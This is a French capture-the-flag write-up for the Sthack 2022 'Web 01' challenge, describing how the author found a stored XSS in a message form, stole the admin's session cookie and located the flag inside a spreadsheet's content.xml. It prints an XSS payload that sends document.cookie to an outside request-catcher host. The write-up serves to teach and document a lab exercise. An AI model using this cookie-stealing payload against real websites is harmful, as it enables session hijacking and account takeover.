Root du Rhum
<-- home

Sthack 2022 / Web 01

May 20, 2022

Challenge web-01

Pour ce premier challenge de la Sthack 2022, nous accédons à un site qui nous indique que nous ne sommes pas administrateur de celui-ci et sur lequel nous pouvons poser une question à l’administrateur du site au travers d’un message.

sthack_01

En analysant l’application, nous constatons que le cookie de session PHPSESSID ne possède pas l’attribut HttpOnly.

sthack_cookie

Le fait qu’on puisse envoyer un message à l’administrateur du site et que le cookie de session ne possède pas l’attribut HttpOnly nous fait donc supposer que le but du challenge est de récupérer le cookie de l’administrateur en exploitant une vulnérabilité XSS sur le formulaire d’envoi de questions.

Après de multiples tentatives d’injections XSS, nous observons que la charge utile suivante fonctionne.

"><img src=x onerror="javascript:alert(1)"></img>

Celle-ci déclenche le code JavaScript contenu dans l’attribut onerror. Nous la modifions pour qu’une redirection soit effectuée vers un site qui intercepte l’ensemble des requêtes qui lui sont envoyées. Le message suivant est alors envoyé à l’administrateur du site pour qu’il soit lu par ce dernier.

"><img src=x onerror="javascript:document.location='https://sthack2022.free.beeceptor.com?c='+document.cookie"></img>

Après que le message contenant la charge utile ait été envoyé, nous consultons notre intercepteur. Nous retrouvons alors le cookie de l’administrateur.

sthack_beeceptor

Une fois le cookie de l’administrateur récupéré, nous l’utilisons à la place du nôtre. En actualisant la page, un message nous indique que nous sommes désormais identifiés comme admin !

sthack_admin

Sur la page, en plus du nouveau texte spécifique à l’administrateur, nous notons la présence du bouton Download File. Nous cliquons sur celui-ci et obtenons le fichier retrocomissions.ods qui est un classeur.

sthack_ods

En ouvrant le classeur, nous constatons la présence d’une case contenant le mot FLAG.

Toutefois, la deuxième colonne est vide pour l’ensemble des noms. Un fichier .ods pouvant être considéré comme une archive, nous décidons de l’ouvrir avec notre gestionnaire d’archives.

sthack_archive

Le fichier content.xml est le fichier principal qui permet de stocker les données affichées dans le classeur, nous décidons de l’ouvrir. À partir d’une recherche sur le mot FLAG, nous observons qu’une cellule supplémentaire est disponible.

sthack_flag_ods

Nous retrouvons ainsi le flag de cette épreuve : xss&httpONLY+WTF.